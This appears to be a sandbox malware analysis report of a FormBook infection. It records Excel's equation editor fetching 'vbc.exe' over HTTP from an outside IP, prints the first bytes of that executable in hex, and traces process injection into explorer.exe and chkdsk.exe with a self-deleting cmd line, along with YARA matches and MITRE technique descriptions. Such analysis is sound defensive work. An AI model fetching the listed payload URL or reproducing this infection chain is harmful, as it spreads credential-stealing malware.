May 13, 2022 17:07:42.000335932 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000353098 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000370979 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000386953 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000448942 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.000498056 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215287924 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215338945 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215358973 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215373993 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215385914 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215403080 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215420008 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215435982 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215451956 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215468884 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215485096 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215501070 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215517044 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215533972 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215549946 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215558052 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215567112 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215593100 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215598106 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215600967 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215604067 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.219461918 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430604935 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430644035 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430661917 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430680990 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430690050 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430697918 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430716991 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430726051 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430730104 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430736065 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430746078 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430753946 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430757046 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430771112 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430774927 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430788994 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430792093 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430807114 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430826902 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430844069 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430849075 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430862904 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430865049 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430881023 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430885077 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430898905 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430902004 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430917978 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430918932 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430934906 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430939913 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430953979 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430955887 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430972099 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430974960 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430989981 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430998087 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431008101 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431016922 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431026936 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431045055 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431055069 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431060076 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431062937 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431078911 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431081057 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431082964 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431099892 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431107044 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431118011 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431123018 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431133986 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431138992 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431154966 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431169033 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.435108900 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.645956993 CEST	80	49171	103.156.91.153	192.168.2.22

HTTP Request Dependency Graph

103.156.91.153

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49171	103.156.91.153	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
May 13, 2022 17:07:41.567938089 CEST	2	OUT	GET /fdcloudfiles/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 103.156.91.153 Connection: Keep-Alive
May 13, 2022 17:07:41.784928083 CEST	3	IN	HTTP/1.1 200 OK Date: Fri, 13 May 2022 15:07:42 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Fri, 13 May 2022 06:57:17 GMT ETag: "40667-5dedf2f5fd4c5" Accept-Ranges: bytes Content-Length: 263783 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!`G@@@/OQ@@I@/OS@c>@+F@Rich@PELOah:F6@;@;P.textgh `.rdatal@@.data9@.ndata:.rsrcP;@@

Target ID:	0
Start time:	17:07:16
Start date:	13/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fb90000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXEPID: 900, Parent PID: 576

General

Target ID:	2
Start time:	17:07:42
Start date:	13/05/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exePID: 2520, Parent PID: 900

General

Target ID:	4
Start time:	17:07:47
Start date:	13/05/2022
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\vbc.exe"
Imagebase:	0x400000
File size:	263783 bytes
MD5 hash:	5AF1C7DD89A535DEE51C3E28B4A74F8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: bmexo.exePID: 1224, Parent PID: 2520

General

Target ID:	5
Start time:	17:07:48
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\bmexo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Imagebase:	0xf20000
File size:	80384 bytes
MD5 hash:	FD42CBBC6D53AD34694C46731AABD852
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: bmexo.exePID: 1820, Parent PID: 1224

General

Target ID:	6
Start time:	17:07:50
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\bmexo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Imagebase:	0xf20000
File size:	80384 bytes
MD5 hash:	FD42CBBC6D53AD34694C46731AABD852
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exePID: 1860, Parent PID: 1820

General

Target ID:	7
Start time:	17:07:55
Start date:	13/05/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff040000
File size:	3229696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: chkdsk.exePID: 792, Parent PID: 1860

General

Target ID:	8
Start time:	17:08:24
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\chkdsk.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\chkdsk.exe
Imagebase:	0x80000
File size:	16384 bytes
MD5 hash:	A01E18A156825557A24A643A2547AA8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Analysis Process: cmd.exePID: 2972, Parent PID: 792

General

Target ID:	9
Start time:	17:08:28
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"
Imagebase:	0x49d30000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
